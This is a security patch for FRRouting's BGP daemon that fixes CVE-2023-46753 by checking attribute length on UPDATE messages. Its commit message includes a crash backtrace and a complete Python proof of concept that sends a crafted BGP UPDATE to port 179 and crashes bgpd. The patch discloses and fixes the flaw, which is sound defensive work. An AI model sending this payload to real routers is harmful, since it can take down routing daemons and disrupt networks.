| From d8482bf011cb2b173e85b65b4bf3d5061250cdb9 Mon Sep 17 00:00:00 2001 |
| From: Donatas Abraitis <donatas@opensourcerouting.org> |
| Date: Mon, 23 Oct 2023 23:34:10 +0300 |
| Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE |
| message |
| |
| If we send a crafted BGP UPDATE message without mandatory attributes, we do |
| not check if the length of the path attributes is zero or not. We only check |
| if attr->flag is at least set or not. Imagine we send only unknown transit |
| attribute, then attr->flag is always 0. Also, this is true only if graceful-restart |
| capability is received. |
| |
| A crash: |
| |
| ``` |
| bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16) |
| bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17 |
| BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting... |
| BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d] |
| BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593] |
| BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181] |
| BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980] |
| BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a] |
| BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290] |
| BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610] |
| BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5] |
| BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867] |
| BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6] |
| BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597] |
| BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3] |
| BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0] |
| BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979] |
| ``` |
| |
| Sending: |
| |
| ``` |
| import socket |
| import time |
| |
| OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" |
| b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" |
| b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" |
| b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" |
| b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" |
| b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" |
| b"\x80\x00\x00\x00") |
| |
| KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" |
| b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") |
| |
| UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000") |
| |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| s.connect(('127.0.0.2', 179)) |
| s.send(OPEN) |
| data = s.recv(1024) |
| s.send(KEEPALIVE) |
| data = s.recv(1024) |
| s.send(UPDATE) |
| data = s.recv(1024) |
| time.sleep(1000) |
| s.close() |
| ``` |
| |
| Reported-by: Iggy Frankovic <iggyfran@amazon.com> |
| Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org> |
| Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/d8482bf011cb2b173e85b65b4bf3d5061250cdb9] |
| CVE: CVE-2023-46753 |
| Signed-off-by: Jonas Gorski <jonas.gorski@bisdn.de> |
| --- |
| bgpd/bgp_attr.c | 10 ++++++---- |
| 1 file changed, 6 insertions(+), 4 deletions(-) |
| |
| diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c |
| index e7bb42a5d989..cf2dbe65b805 100644 |
| --- a/bgpd/bgp_attr.c |
| +++ b/bgpd/bgp_attr.c |
| @@ -3385,13 +3385,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args) |
| } |
| |
| /* Well-known attribute check. */ |
| -static int bgp_attr_check(struct peer *peer, struct attr *attr) |
| +static int bgp_attr_check(struct peer *peer, struct attr *attr, |
| + bgp_size_t length) |
| { |
| uint8_t type = 0; |
| |
| /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an |
| * empty UPDATE. */ |
| - if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) |
| + if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && |
| + !length) |
| return BGP_ATTR_PARSE_PROCEED; |
| |
| /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required |
| @@ -3443,7 +3445,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, |
| enum bgp_attr_parse_ret ret; |
| uint8_t flag = 0; |
| uint8_t type = 0; |
| - bgp_size_t length; |
| + bgp_size_t length = 0; |
| uint8_t *startp, *endp; |
| uint8_t *attr_endp; |
| uint8_t seen[BGP_ATTR_BITMAP_SIZE]; |
| @@ -3831,7 +3833,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, |
| } |
| |
| /* Check all mandatory well-known attributes are present */ |
| - ret = bgp_attr_check(peer, attr); |
| + ret = bgp_attr_check(peer, attr, length); |
| if (ret < 0) |
| goto done; |
| |
| -- |
| 2.42.1 |
| |